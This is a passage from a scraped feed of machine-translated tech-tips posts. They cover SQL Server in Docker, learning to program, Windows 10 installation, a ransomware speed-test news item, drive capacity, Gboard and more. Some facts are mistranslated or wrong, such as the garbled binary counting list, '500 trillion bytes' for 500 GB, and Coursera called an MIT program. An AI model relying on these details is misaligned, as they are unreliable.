mcr.microsoft.com/mssql/server:2019-latest SQL Server 2019 is the latest supported version of SQL Server on Docker at the time of writing.\nNote : You can remove sudo from the above command if you have configured your Docker to run as a non-root user.\nStep 2: Run the Docker image Once the docker image is finished downloading, you can list or view all Docker images on your PC by running the following command:\nsudo docker images Output:\n If your SQL Server image is listed, you are ready to run it. But before we do, here are some Docker command parameters that you should know.\nDescription of Docker command parameters -e \"ACCEPT_EULA=Y\" : Used to accept the terms of the end user license agreement -e \"SA_PASSWORD=Adminxyz22#\" : Used to set the SA password of the Docker image. In this case, the password is set to Adminxyz22#. Make sure you use a strong password that is at least 8 characters long. -p 1433:1433 : By default, SQL Server runs on port 1433. This parameter simply says to use port 1433 on the server to connect to port 1433 on the Docker image. --name : Use this option to specify a name for the docker image, otherwise Docker will generate a random name for you. --hostname : Use this option to assign a hostname to your SQL Server. Docker will generate a random hostname if you don't specify one. It is important that you assign a meaningful name and hostname to your Docker image as this is what you will use in your connection strings to connect to your database.\nsudo docker run -e \"ACCEPT_EULA=Y\" -e \"SA_PASSWORD=Adminxyz22#\" -p 1433:1433 --name sql1 --hostname sql1 -d mcr.microsoft.com/mssql/server:2019-latest Step 3: Connect to SQL Server from Docker Container You can connect to SQL Server instances on Docker using SQL Server clients like the command line, Microsoft SQL Server Management Studio, Azure Data Studio, etc… Azure Data Studio is lightweight and available on macOS, Windows, and Linux. Here's how to install Azure Data Studio on Ubuntu.\nLet's use the Ubuntu terminal to connect to SQL Server running on Docker. First, run the following command to access the docker container terminal:\nsudo docker exec -it sql1 \"bash\" Once you have access to the interactive terminal on the Docker image, run the following command to connect to SQL Server:\n/opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P \"Adminxyz22#\" Note : The default username for the SQL Server image on Docker is SA. Also, be sure to use the correct password that you assigned to your SQL Server instance.\nOnce connected, you can list the available databases with the command:\nSELECT Name FROM sys.Databases Then type GO in the next prompt and press Enter to execute the SQL query:\n \u0026nbsp;The article looked at how to run SQL Server 2019 inside a Linux container on Docker. Docker is widely used by many software engineers to easily deploy applications and set up complex environments.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZKahk6e8tLvFrWSsqZxiwKa%2B1Z6pZpyRqa6jrdKeZKKmXZm8pLfEq2Sopl2htq%2FB1w%3D%3D\n","link":"/post/how-to-set-up-a-microsoft-sql-server-database-in-docker-on-linux/","section":"post","tags":null,"title":"How to Set Up a Microsoft SQL Server Database in Docker on Linux"},{"body":"  Choose a programming language. Basically, computer programming is writing a package of instructions that instruct the computer to execute (also known as writing binary code). These commands can be written in many \"languages\" – they are simply different arrangements of commands and strings of characters. However, each programming language is often used to create certain types of software. Therefore, choose the language that suits your intended use. If you accidentally choose a language that doesn't suit your needs, you can always switch to a new language.\n  Consider learning C, C++, C# and other related languages. They are languages ​​that are primarily used to create stand-alone computer applications, such as video games. Although difficult, learning C and C++ is not an impossible task for a beginner. They will give you a deep understanding not only of programming (most programming languages ​​inherit at one point or another from C and C++) but also of how computers work. They are very popular and widely used. Although very similar to Java, C# is becoming more and more popular.\n  Consider learning Java or JavaScript. They are a good choice if you want to write web plugins (JavaScript) or mobile apps (Java). Currently, the demand for these languages ​​is very high. Therefore, it would be helpful to know about Java or JavaScript. Note that while the names are similar, they are two completely different languages.\n  Try your hand at Python. Python is a very flexible language, widely used in many platforms. Despite its immense influence, Python is easy to learn for beginners. So give it a try!\n  Consider learning PHP. PHP stands for Hypertext Processor, or Hypertext Preprocessor. It's a relatively easy web programming language to learn thanks to its ubiquity and simple command structure (popularity here is in the fact that there will be many helpful tutorials for that language). PHP is great in server programming.\n  Don't limit yourself to these languages! There are countless other programming languages ​​with their extremely diverse uses. If you want to be a programmer, you need to know more than one language. Therefore, learn as much as possible.\nIdeally, look at job advertisements for the jobs you want to do and determine what languages ​​are commonly required for those positions.\nLearn programming languages   Consider attending school. When hiring programmers, most companies are more interested in your skills than in what school you went to and your grades. Even so, having a college degree to show everyone will still help a lot. And at the same time, with expert guidance from teachers (and possibly friends), going to school will help you learn more effectively.\nIn this field, there are often scholarships and grants available to university degree holders. Don't worry about the cost: the cost is completely solvable!\n  Learn from online university. Whether you study online for a fee and earn a real degree after the course, or take a free program like MIT's excellent Coursera program, you can learn a lot about programming from organized courses. this.\n  Try using an online tool. Use a free online service, such as Google's University Consortium or Mozilla's Developer Network, to learn about programming. These companies want more software developers to grow their platforms and make their resources some of the best out there.\n  Learn how to use online tutorials. Countless web developers teach you the basics nicely, as well as a few coding tips. Find instructions for the language you want to learn to access them.\nThere are many free online classes that teach you how to code. Khan Academy teaches computer coding with simple tutorials and videos. Code Academy is another free site for you, with step-by-step instructions.\n  Start early if possible. Many programs are designed to teach kids programming. Programs like MIT's Scratch are very useful, and the younger you are, the easier programming (like any other language) will be to learn.\nAvoid using kits because they rarely teach anything useful.\nSelf learning   Start with a good book or tutorial on programming. Find a good and popular book about the programming language you want to learn. Reviews on Amazon or similar sites will often help you determine which books are useful among the countless other bad ones.\n  Find an interpreter for that language. An interpreter is simply another software program that converts ideas you write in a programming language into \"machine language\" so that things can be executed. There are many different interpreters. Choose the program that's right for you.\n  Read that book! Take an example of a programming language from a book and feed it to your interpreter. Try changing the example so that the program handles different commands.\n  Try organizing your own ideas, shaping a workable program. Start with simple things, such as a currency converter, and work your way up to more complex things as you read and learn a programming language.\n  Learn another language. Once you've started programming a lot with your first language, you'll probably want to learn a second. Ideally, choose a language that uses a completely different paradigm than the first language. For example, if you start with Scheme, you can continue to experiment with C or Java. If starting from Java, at this point, you can choose Perl or Python.\n  Keep programming and try new things! To be a good programmer, at the very least, you have to keep up with today's ever-changing technology. It is a non-stop learning process. Always learn new languages, new programming paradigms and most importantly: program new things!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquklr%2B1ecuemKummaO0bq%2FOpqeurJWnerG%2BzqCpmqWdnruo\n","link":"/post/how-to-start-learning-computer-programming/","section":"post","tags":null,"title":"How to Start Learning Computer Programming"},{"body":"   The easiest way to identify laptops (laptops) with Centrino 2 technology is to look at the processor. Centrino 2 technology consists of 3 main components: Intel Core 2 Duo processor, new Intel Intel Express Express Chipset (Mobile Intel 45 Express Chipset), and fast, power-saving 802.11n Wifi connection (Intel Wifi Link 5000 series). On Centrino 2 platform, there are 7 Intel Core 2 Duo processors divided into 3 product lines, P series include P8400, P8600, P9500, T series including T9400 and T9600, and X9100 Core 2 Extreme series. The P series processors use more energy-efficient than the T series but have poorer performance. It should be known that all Centrino 2 processors have 1066 MHz FSB bus (connecting the processor to other key components such as memory), allowing more data to be processed. This is useful for handling graphics and video applications. Mobile Intel Express 45 Chipset, codenamed Cantiga consists of two versions, PM and GM. The PM version will support single graphics cards from graphics card manufacturers such as ATI and Nvidia, while GM supports integrated graphics. According to Intel, the new chipset can improve graphics processing speeds nearly twice as much as Intel's old chipset, Mobile Intel 965 Express. The new chipset will support up to 8GB of DDR3 SDRAM memory, compared to the maximum DDR2 memory support of 4GB of the old chipset. DDR3 memory has twice the processing speed of today's popular DDR2 memory, while using 25% less electricity. Besides, the Deep Power Down technology included in the Centrino 2 laptop helps the processor save more power. When in Deep Power Down mode, the processor is in a power-saving state near the computer shutdown level. Wifi wireless connectivity in Centrino laptops also improved significantly. Intel currently has two Wifi Link 5100 and Wifi Link 5300 cards for computers that use Centrino 2 technology, providing throughput of up to 300 Mbps and data transfer rate of up to 450 Mbps. According to Intel, Centrino 2 computers released between now and the end of 2008 will not support WiMax connectivity.\nncG1vNJzZmismaXArq3KnmWcp51ktqWxza2gn7FdmLKvwNGipahlYmK5orzTqKes\n","link":"/post/identify-centrino-2-laptops/","section":"post","tags":null,"title":"Identify Centrino 2 laptops"},{"body":"TipsMake.com - The battle between Web browsers is once again warmed up, and Microsoft joins right at the time when the battle is in the \"worst\" stage with Internet Explorer 9 being played in the middle of the launch. rivals Google and Mozilla. IE9 launches with a host of new features and may be particularly appealing to some Windows 7 users, but does it have enough users need to regain Microsoft's market share that has been overshadowed in the past? recently?\n  March 14, just days after Google (Nasdaq: GOOG) released a new version of its Chrome browser - and just before Mozilla was about to release the latest version of Firefox , Microsoft (Nasdaq: MSFT). released Internet Explorer 9 - wrote a subsequent chapter in the hot battle between web browsers.\nIt was the first major update for Microsoft's Web browser in nearly two years and IE 9 is expected to attract users back to the IE home with many new improvements compared to version 9.\nNew design\nThe new version of Internet Explorer brings a whole new interface and offers more features for software in the actual web content than any previous version.\nIE 9 is designed with only one bar at the top for URL addresses, different tabs , and command buttons. This means almost all windows are dedicated to the site itself.\nMany new functions\nInternet Explorer 9 also has new features to improve users' web browsing, some of which have been seen in other browsers such as Firefox , and others only available in Internet Explorer .\nAnother remarkable feature of IE 9 is the web 'pin' feature. By bookmarking a \"pin\" web page, IE 9 will create an icon in the toolbar below, allowing users to easily go back to the site with one click regardless of the user running. What program.\nIE9 also has additional download managers, similar to what Firefox provides, but with a few more signaling sounds like a bell or whistle. The download manager of IE 9 keeps an active list of active and completed download items, it also alerts users about potentially dangerous files before the user tries to access and download them.\nUsers can also turn on multiple tabs on a single window and can view multiple tabs in side-by-side form, we can see all the tabs opened at the same time in thumbnail form.\nIn addition IE 9 also has new features that bring real-time search results when users type in the URL bar, and a bar notificaion is displayed at the bottom of the window when you have important messages. .\nOther additions\nMicrosoft also claims that the new Internet Explorer is faster, has better tools to block malicious content and protect personal data to enhance security when users visit websites.\nUsers can also download the add-ons for the browser and can manage them in a window called Add-on Perfomance Advisor .\nWill a festival?\nMicrosoft plans to hold a major release at the SXSW conference in Austin, Texas. Organizing such a festival shows us how important it is to release IE9 to Microsoft, said Jordan Cressman, an analyst at Market Communications.\n\" Microsoft needs to remind people that they are not a 'freeze' company with no communication lines with the public and consumers. By launching IE9 at an event with promotional advertising. Like SXSW, instead of organizing small cooperative events or organizing trade fairs, Microsoft's message will reach the public more widely, \"said Cressman on TechNewsWorld.\nFor Microsoft, the idea of ​​creating a festival with Internet Explorer 9 more than usual can also be considered a Microsoft message to the public that they are ready to return to the dominance they once had. There are in the battle between browsers.\nHistory of Internet Explorer\nReturning to its heyday, around 2004, Internet Explorer accounted for about 95 percent of browser users, according to TheCounter.com - a statistic that is virtually unthinkable. in the browser market today. That glorious history has helped Microsoft to take the lead in this area, but has dropped significantly.\nIn just two years, Internet Explorer 'market has decreased from 64% to 45% and then to 19%. In contrast, Firefox went from 28% to 305 in the same time frame, and Chrome jumped from 1.5% to 16.5%. These figures are based on reports from StatCounter.com.\nUsers have many options when it comes to choosing a browser recently. And with the features of Firefox and Chrome - such as the ability to customize and integrate third-party utilities, many users have moved from IE to use these browsers.\nUsers away from Internet Explorer marked a big change in the way people use technology, according to Travis Hodges, an expert in social media, operating a Drum Marketing account.\n\" This is an era in which consumers are very thirsty for new and unique technology ,\" Hodges said on TechNewsWorld. \" In the past, users always wanted to stick to software that was tested and verified because people felt comfortable and safe, but now also a kind of software that will create dissatisfaction due to it. We are in a culture where consumers expect companies to compete little by little Any product or company is considered old and does not want to change. eliminated in that competitive environment \".\nncG1vNJzZmismaXArq3KnmWcp51ktqaFjJypnpmkmrFurYywnJtlkqe8uL%2FEq2SbmaSpuaY%3D\n","link":"/post/ie9-created-a-web-browser-battle/","section":"post","tags":null,"title":"IE9 created a web browser battle"},{"body":"In the process of using a computer, surely we will inevitably encounter errors such as: virus infection, system error . etc . If the error is small, we can overcome it by simple methods, but if If the error is too bad, the only solution is to reinstall Windows. However, the problem is that not all of us know how to install windows and if installed incorrectly the pig becomes a lame pig. Therefore, to help you avoid those cases, the following article of Thuthuatphanmem.vn will guide you how to install windows 10 with USB in details from a to z. Please follow along.\n1. Prepare before installing windows. To install Windows 10 with USB, you must first prepare the following:\nA USB with 4Gb capacity or higher. ISO file of Windows 10 installer USB creation software for installing Windows Rufus (Download link: https://rufus.akeo.ie/) 2. Create a USB to install windows 10 Step 1 : You attach the USB to the computer and open the Rufus software.\nThen select the items as shown below, where:\n1-Select the USB connected to the computer\n2-Select the USB format as NTFS\n3-Select the file format to install windows as ISO\n4-Select the Windows 10 ISO file in your computer (prepared in part 1)\n5-Click Start to start creating USB to install windows.\n  Step 2 : If a message appears, click OK\n  Step 3 : Wait a while for the process of creating USB to install Windows is completed.\nWhen creating a USB to install windows successfully, click Close to exit the program. And prepare to install windows.\n  3. Steps to install Windows 10 Step 1 : You attach the Windows installation USB created in the previous step to the computer (power off), then turn on the computer to the BIOS and select boot from USB. To enter the BIOS you do the following:\nDesktop computers : Depending on the different types of main but most to enter the BIOS press\u0026nbsp; Delete , on the Boot menu\u0026nbsp; \u0026nbsp;press\u0026nbsp; Esc \u0026nbsp;or F11 , F12 .\nSony Vaio Laptop : Turn off the power, then press the Assist button\u0026nbsp; \u0026nbsp;and then press\u0026nbsp; F2 \u0026nbsp;to enter the\u0026nbsp; BIOS . To enter Recovery, press\u0026nbsp; F10 .\nLaptop HP:\nEnter BIOS and press F10 Go to Boot menu and press F9 Lenovo Laptop:\nEnter BIOS and press F1 Go to Boot menu and press F12 Dell Laptop:\nGo to BIOS and press F2 Go to Boot menu and press F12 Acer Laptop:\nGo to BIOS and press F2 Go to Boot menu and press F12 Asus Laptop:\nGo to BIOS and press F2 Go to Boot menu and press Esc After choosing to boot into USB, wait for a while for the computer to boot into the Windows 10 installation interface.\nStep 2 : At the installation interface windows 10 you select the items as shown below and click Next .\n  Step 3 : Select Install now.\n  Step 4 : Choose one of the versions of windows 10 then click Next .\n  Step 5: Check the box then click Next .\n  Step 6 : Select Custom: Install windows only\n  Step 7 : Select the drive to install Windows, normally the computer will be divided into many different drives (the drive where the Windows installation of the Type column will be listed as System). Here I installed on the virtual machine, so there will be only 1 drive. You select the drive then press Fomat to delete all the old data and finally click Next .\n  Step 8 : The process of installing Windows starts, you wait about 10-15p depending on the speed of each computer.\n  Step 9 : After the installation process is complete the computer will automatically restart, you wait a few more minutes. When the computer boots into the screen as below, select your country and click Yes.\n  Step 10: Choose your keyboard language and then click Yes.\n  Step 11 : Click Skip\n  Step 12 : Select Set up for personal use then click Next .\n  Step 13 : At this step, if you have a Microsoft account, enter it in the box and click Next , otherwise choose Offline account. It is best that you choose Offline account because Microsoft account can be entered after installing win.\n  Step 14 : Click Yes\n  Step 15 : Enter the computer name in the box and click Next .\n  Step 16: If you want to set a password for the computer, enter it in the box and click Next, if you do not want to set a password, leave it blank and click Next .\n  Step 17 : Here windows asks if you want to use the virtual assistant Cotana, I should not use No.\n  Step 18 : In this step you can turn off all the items and click Accept.\n  Step 19 : Wait a few minutes to complete the installation of windows.\n  And so we have successfully installed windows 10, the computer has booted to the Desktop.\n  Above Thuthuatphanmem.vn has detailed instructions for installing Windows 10 with USB, you can see that installing Windows is not as difficult as we usually think. Hope the article will be helpful to you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnIp6qtmZyheri1zZ2msKtdZn1uw8itn2ato5d6tMDEqWSbsV2owaa8\n","link":"/post/instructions-on-how-to-install-windows-10-with-usb-step-by-step/","section":"post","tags":null,"title":"Instructions on how to install Windows 10 with USB step by step"},{"body":"\u0026nbsp;Apple is expected to launch a budget-friendly phone on April 15th, which could be the first of at least five iPhones anticipated to launch in 2020. This device is widely speculated to be called the iPhone 9\u0026nbsp;(or possibly the iPhone SE 2), which would be a long overdue update to 2016's much-loved iPhone SE. If the rumors are true, this would signal Apple's renewed commitment to low-cost phones as global smartphone sales continue to decline. But keeping in mind that the world is in the midst of a pandemic, the launch date and its rumoured April 22nd shipment date could change. Apple -- along with the broader smartphone and consumer electronics industry --\u0026nbsp; have been grappling with widespread supply-chain disruptions caused by the coronaviruswhich has already forced Apple to lower its quarterly revenue guidance\u0026nbsp;and shutdown stores in the US and China. Until Apple's spring launch takes place, however, we'll continue gather the most credible and compelling rumors that have been circulating to give you an idea of what to expect from it.\n The iPhone 9 may launch at $399 Renowned Apple analyst Ming-Chi Kuo predicts the iPhone 9 will cost $399 (around £300 or AU$600). At this price, Apple may potentially lure budget-minded customers who aren't willing to splurge $1,000 or even $700 (on say, an iPhone 11 Pro or iPhone 11) into making an upgrade. This isn't the first time Apple targeted the \"budget\" segment of the smartphone market. The original iPhone SE launched at $399. At the time it was hundreds of dollars cheaper than its Apple-made contemporaries and ended up being a successful product for the company. As the global smartphone market shrinks and fewer consumers splurge on premium handsets, Apple knows the importance of offering a low-cost but high-quality phone shouldn't be overlooked -- especially if it wants to make further inroads into massive, price-sensitive countries like China and India.\nThe iPhone 9 could feature the A13 bionic chip, 3GB RAM The upcoming iPhone 9, according to Kuo, is expected to be modeled after the iPhone 8\u0026nbsp;including having a home button, but with enhanced internals. It may have Apple's newest chipset, the A13 processor, which is the same one found in the iPhone 11 series. Kuo also predicts the iPhone 9 will come with 3GB RAM.\u0026nbsp;\nThe iPhone 9 may have a smallish LCD display with Touch ID\u0026nbsp; It looks like the expected 4.7-inch screen of the iPhone 9 will be as small as Apple is willing to go for now. That's larger than the original SE, which had a 4-inch display. Like the iPhone 8, the device is expected to sport an LCD display instead of an OLED screen in order to drive down costs, Nikkei Asian Review reported in September. OLED displays, which offer blacker blacks and higher contrasts, are typically found on higher-end phones like the iPhone X and iPhone 11.\u0026nbsp;\nAlong with a smallish screen, Touch ID could make a comeback in the iPhone 9, which is rumored to have a physical home button that would enable the biometric feature. That's as opposed to Face ID, which uses facial scanning and is featured in current iPhone models. Apple's new phone will also be compatible with\u0026nbsp;Apple Pay\u0026nbsp;and the\u0026nbsp;Express Transit for automatic ticketing on public transport, according leaked iOS 14 code that was seen by to 9to5 Mac. The code reportedly reveals it'll also be able to scan NFC tags in the background, which is something the iPhone XR, iPhone XS and the iPhone 11 are capable of doing. \u0026nbsp;\nThe device could have a single rear camera\u0026nbsp; Since the iPhone 9 is expected to be modeled after the iPhone 8, right down to its thick bezels and Touch ID fingerprint scanner. We also expect a single 12-megapixel camera to make an appearance on the rear in order to keep costs low. In addition, the phone is expected to come in three colors: space gray, red and silver.\nA more expensive sibling could be in the works: The iPhone SE 2 Plus or iPhone 9 Plus? Even though the iPhone 9 or iPhone SE 2 hasn't been announced yet, in the Apple universe it seems as if it's never too early to talk about upcoming iPhones. There is already buzz of a more expensive sibling set for launch either in 2021 or even as early as this April 15th, but it will still be positioned as a lower-cost phone that'll reportedly cost $499. According to MacRumors\u0026nbsp;citing Kuo, it'll be called the iPhone SE 2 Plus and will feature a 5.5- or 6.1-inch LCD display. It apparently will also have an updated form of Touch ID that would be integrated into the power button. Other rumours, however, say it'll be known as the iPhone 9 Plus.\nncG1vNJzZmismaXArq3KnmWcp51ktrR5wKmnpZ1doq6stc2gZJqmXZ69qbvNnmRyZZ%2BnerSxjGtknq6Vp8ZuvtSmpqtlmaOwrcHDoqWgZaOlsqS%2FjJqlnWWclsKvr8dmm5qslQ%3D%3D\n","link":"/post/is-apple-making-an-iphone-9-or-se-2-every-rumor-including-specs-and-launch-date/","section":"post","tags":null,"title":"Is Apple making an iPhone 9 or SE 2? Every rumor, including specs and launch date"},{"body":"When a ransomware cyber attack occurs, time to detect and prevent damage is critical to helping IT administrators and cybersecurity teams protect corporate data. So, when something goes wrong, how much time does the cybersecurity team have to react and offer timely solutions?\nTo answer this problem, the Splunk site performed a test with a total of 400 times to check the file encryption speed of 10 different ransomware spreading on the internet. Ransomware tested includes REvil , Darkside, Babuk, Maze, LockBit and several other ransomware on both Windows 10 and Windows Server 2019 editions.\nIn this test, the Splunk site used 53GB of data including 98,561 different files including pdf, excel and word documents.\n  As a result, LockBit took the lead with the ability to encrypt 53GB of data on Windows Server in just 4 minutes and 9 seconds. ​LockBit is malicious ransomware designed to encrypt data detected by the MalwareHunterTeam team.\nIn second place is Ransomwar Babuk, the first malware discovered in 2021, whose goal is to steal companies' data and blackmail them.\nThe Avaddon ransomware came in third place in this test. This malicious code will perform DDoS attacks to take down the website or computer network of the victims until the victims negotiate a ransom.\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWknbJuw86ro52rXZuutMDErKtmqpGjwLC51pqpnmWVo7Czxc%2BtoKefXWqAqK6MqJ1mnJGprm61zWahrqukYry3sdFma2almaPCtbHS\n","link":"/post/this-is-the-world-s-fastest-ransomware-encrypting-53gb-of-data-in-just-over-4-minutes/","section":"post","tags":null,"title":"This is the world's fastest ransomware, encrypting 53GB of data in just over 4 minutes"},{"body":"How many times have you opened a new computer, phone, or external hard drive and were shocked to realize it didn't have as much storage as advertised? A 512GB SSD can actually contain only 477GB or a 64GB iPhone only has 56GB of space for files.\nThere are several reasons why the ad size is not the same as the actual capacity, let's find out.\nHow to check the capacity of the computer hard drive How much is the C drive capacity in the computer to be reasonable? 4 best disk space analysis tool on Windows 10 Pre-installed operating system and application The most basic reason is that you cannot use all the hard drive capacity because it already has some data when you buy it. Removable hard drives like flash drives or SD cards rarely have data, but this is the main reason with pre-installed phones and computers.\nWhen buying a computer, the operating system (like Windows or macOS) takes up a lot of space. These protected operating system files are needed for the system to run as intended.\nFor example, on a system, the C: Windows folder has 25GB, accounting for about 1/10 of the entire hard drive space.\n  However, not only does the operating system file take up that space, but it also includes additional applications that you want or don't want. It includes everything from Windows 10 bloatware to useful integrated macOS apps like GarageBand.\nAlthough technically they are not part of the operating system but come with it and thus occupy space. You can remove these applications to regain storage space.\nTricks to remove default apps on Windows 10 How the computer calculates the storage capacity While pre-installed apps are a space hopper, the biggest reason why you don't get all the storage you have is because your measurement calculator is different from humans.\nBinary number Computers use standard value prefixes, including kilos for thousands, mega for millions, giga for billions, tera for trillions, etc.\nThe basic steps of decoding binary numbers Humans, including hard drive manufacturers, use the decimal system, compute numbers with base 10. Therefore, when say 500 gigabytes, that means 500 trillion bytes.\nHowever, computers using binary system 2, all numbers are only 1 and 0. If not known, the following is a list of numbers 1 to 10 written in binary:\nfirst\nten 11 100 101 110 111 1000 1001 1010 As you can see, in binary, 2 1 represents the decimal value 1, 2 2 equals 2, 2 3 equals 4, 2 4 equals 8, etc. Each position of the new digit in binary increases the value of that number to a power of two. 2 10 equals 1,024.\nMeasure binary and decimal We now know that computers use 1,024 instead of 1,000 to identify these common prefixes. For computers, a kilobyte is 1,024 bytes, not 1,000 bytes as people think. Incrementally, we have 1 megabyte of 1,024 kilobytes and 1 gigabyte of 1,024 megabytes.\nSo how does this affect buying an external 250GB SSD? This hard drive contains 250,000,000,000 bytes, but the computer does not display that way.\nWe can divide by 1024 three times (one to convert bytes into kilobytes, again to convert kilobytes to megabytes and the last to convert megabytes to gigabytes) to see how much is actually:\n250,000,000,000 / (1,024 * 1,024 * 1,024) = 232,830,643,653 bytes or 232.83GB\nTake a 250GB hard drive in Windows for a maximum capacity of 232 GB, exactly as calculated above. The difference is 18GB.\n  The larger the hard drive, the greater the difference between the measured capacity and the actual capacity. For example, a 1TB (1,000GB) hard drive has 931GB of space on the computer.\nGigabyte and Gibibyte You may wonder why there is a difference. Why are hard drive manufacturers not providing the correct storage capacity on the device? Yes, technically they do this.\nThe exact giga is determined to be 1,000 and the gibi is 1,024. The International Electrotechnical Commission has announced a standard for measuring binary data to address this confusion.\nWhile a kilobyte (KB) equals 1,000 bytes, 1 kibibyte (KB) equals 1,024 bytes. The same goes for mebibyte (MiB), gibibyte (GiB), tebibyte (TiB), etc.\nFor some reason, Windows uses the GB prefix incorrectly when it is actually measured in gibibyte. Operating systems like macOS accurately measure 1GB to 1 billion bytes. Therefore, the same 250GB hard drive is connected to a Mac it will display a total of 250GB of storage.\nAdditional disk partitions In addition to the above, another potential cause of reducing the total amount of space the drive has is additional partitions.\nYou can separate hard drives into different logical parts, called partitions. Hard drive partition allows installing two different operating systems on one hard drive.\nWhen buying an existing computer, the manufacturer usually includes a recovery partition on the disk, containing data that allows resetting the system in the event of a serious problem. Like other files, they take up space on the hard drive. But because the recovery partition is usually hidden, you don't know it exists.\nTo view the partition on a hard drive in Windows, type disk management in the Start menu and click Create and format hard disk partitions . You will see each hard drive on the system and partitions are taking up space on it. If you see a Restore, Recovery, or similar label, it's a recovery partition.\n  In most cases, you can delete this partition and reclaim storage space. However, it is best to leave it alone to make it easy to restore the system, and this small increase in value is not worth the effort to restore the system manually.\nHidden features also take up space Finally, most operating systems contain features that take up disk space but do not exist as actual files. For example, the Windows Shadow Copy service is used to enable both Previous Versions and System Restore.\nSystem Restore allows you to return to an earlier time if the system is not working properly, while Previous Versions keeps a copy of your personal files so that you can undo the changes. Of course, both of these functions need space to work.\nTo view and change the amount of feature based on the Shadow Copy service used, press Win + Pause to quickly open the System Control Panel . From here, click on System protection on the left. In the resulting window, select the hard drive from the list and select Configure .\nYou will see a new dialog box that disables complete system protection. Below, you will see Current Usage and can adjust the maximum capacity Windows uses. About 10% is a reasonable number.\n  These factors are the cause of the noticeable difference between actual storage space and advertising. Although there are some other small factors such as special blocks in an SSD, these are the main reasons. Knowing this can ensure that you always have the necessary storage space on your new device.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdlnpywMFmn5qqlGKxs7XVnmSoppyueqmt1Z5kcmthnK9uu8VmmJyspZa5bq%2FAqZicoaSu\n","link":"/post/why-does-a-1tb-hard-drive-only-have-931gb-of-actual-capacity/","section":"post","tags":null,"title":"Why does a 1TB hard drive only have 931GB of actual capacity?"},{"body":"Recently, Google's Android keyboard has undergone a huge overhaul. Now it is called Gboard and is currently one of the most feature-rich keyboards on Android.\nYou may have used it, because it is preinstalled with many phones running the Android operating system. Gboard contains a lot of interesting things. You can search on Google from the keyboard, search and send GIFs, and do everything you expect from a modern smartphone keyboard.\nIf you haven't used Gboard yet, download (or update the Android Keyboard app), switch to that app and start exploring!\nDownload Gboard for Android (Free).\n10 things Gboard can do on Android 1. Search Google right on your keyboard 2. GIF and Emoji 3. Trackpad mode 4. Quick access to the replacement keyboard 5. Translate right on the keyboard 6. Create your own text extension shortcut 7. Single-handed mode 8. Change theme 9. Delete automatic suggestions 10. All other things 1. Search Google right on your keyboard   Once you've set up the Gboard app, you'll see the Google button in the top left corner of the keyboard, next to the suggestions. Touch it and you will see Google search bar right on the keyboard.\n  Search for something, such as a company name, restaurant, song, time in another country, and you'll see results right in the keyboard. Click the Share button below the result and the link will be pasted in the current conversation. It is a simple thing, but saves a lot of time.\n2. GIF and Emoji   One of the things that makes Gboard interesting is its ability to search through a huge GIF and Emoji (emoticon) database. Search, select, send. You no longer need to go to another application to do this.\nPlease refer to the article: How to create GIF images with Google's Gboard keyboard on iPhone and Android.\n3. Trackpad mode Selecting a piece of text is a big problem on the touch screen. You cannot control the cursor correctly. Gboard has a feature that makes this easier, at least in text boxes. You can move the cursor by swiping left or right on the space bar.\n  You can also easily delete multiple words at once, instead of clicking the delete button to remove each letter one by one. Just tap the backspace button and swipe left. The text will be highlighted and as soon as you move your finger, everything is done.\n4. Quick access to the replacement keyboard   Whenever you want to enter commonly used punctuation marks, like exclamation points or question marks, you often switch to the numeric keypad using the ? 123 button . In Gboard, you can access these punctuation marks, along with parentheses and many other shortcuts by simply pressing and holding the dot button.\n5. Translate right on the keyboard   Gboard is now available with Google Translate. You can translate words and sentences between two languages. There are over 90 languages ​​to choose from. Once you've written the text, click on the G icon and select Translate. Then, from the top box, select the language you want to translate.\n6. Create your own text extension shortcut If you use your Android phone to do communication related tasks, you can enter the same content multiple times. Create your own text extension shortcut for these phrases in Gboard and you will save a lot of time there.\n  Go to Settings\u0026gt; Language \u0026amp; Input\u0026gt; Gboard and select Personal Dictionary to add that phrase and shortcut to that phrase.\n7. Single-handed mode   If you have trouble accessing different locations on the screen when you are trying to enter text with one hand, consider switching to one-handed mode. Click on the G icon and then select the One-handed mode button. Gboard will now be attached to the left or right. Touch the arrow button to move to the opposite side.\n8. Change theme One of the best things about Gboard is that it is really customizable. Although you won't find the entire app store for themes, choosing a Gboard theme is pretty good. You can also turn on the main borders if you want.\n  Touch the G button, then select the theme button (this button looks like a drawing palette), then select the theme you like.\nThere is a way to bring the game using the keyboard to a whole new level. Gboard allows you to use any image as a keyboard background. They provide you with a collection of useful landscape photos, and you can even import your own photos.\n9. Delete automatic suggestions   You are already familiar with the keyboard suggesting words, sometimes even before you type the letters. But sometimes, things may not be right for you, and you never want Gboard to suggest a specific word anymore. In that case, touch and hold the suggested word, then drag it to the erase icon.\n10. All other things   With all the exciting new features, Gboard is still a solid and reliable keyboard. It has all the features that other keyboard applications have accumulated over the past few years.\nGesture input - Just swipe your finger on the keyboard, one letter at a time until you finish typing the word, Google will find the content you want to enter. Voice input - Not surprisingly, Google's text-to-speech engine is one of the best tools available. And entering a long piece of voice text is a great way to save time. In Gboard, you will see the microphone icon at the top right, next to the suggestions. The voice input feature no longer takes up the entire keyboard. Click anywhere on the keyboard to stop typing. Double-clicking the spacebar - another old trick is still very useful. To insert a dot, simply press the spacebar twice. Uppercase shortcuts - Select a word, press the shift key and you will browse through the various options: Capitalize the whole word, do not capitalize any letters or just capitalize the first letter. Do you use Gboard to search on Google and share links? Or do you use it to share GIFs? How did you customize it? Share with us in the comment section below!\nSee more:\nComplete how to use Google Gboard keyboard on iPhone, iPad How to create sticker from selfie image with Gboard 7 unique browsers for Android ncG1vNJzZmismaXArq3KnmWcp51kfnF506Ggp5%2BjYrSju8Crm2abkaN6pbuMqKVmmZ6Zv7C1ww%3D%3D\n","link":"/post/10-things-gboard-can-do-on-android/","section":"post","tags":null,"title":"10 things Gboard can do on Android"},{"body":"A part that's often overlooked, but very important, in any PC build process is the source of the computer. A computer power supply unit or PSU is the power supply source for all the other components of the system. Therefore, choosing the right capacity and features to get the best performance is essential.\nLet's look at the options of TipsMake.com and help you choose the best PSU based on the system requirements through the following article.\nWhich is the best PSU to choose when building your own PC? Best low power PSU: Seasonic S12III 500W Best medium power PSU: Corsair RM 750x Best high power PSU: Asus 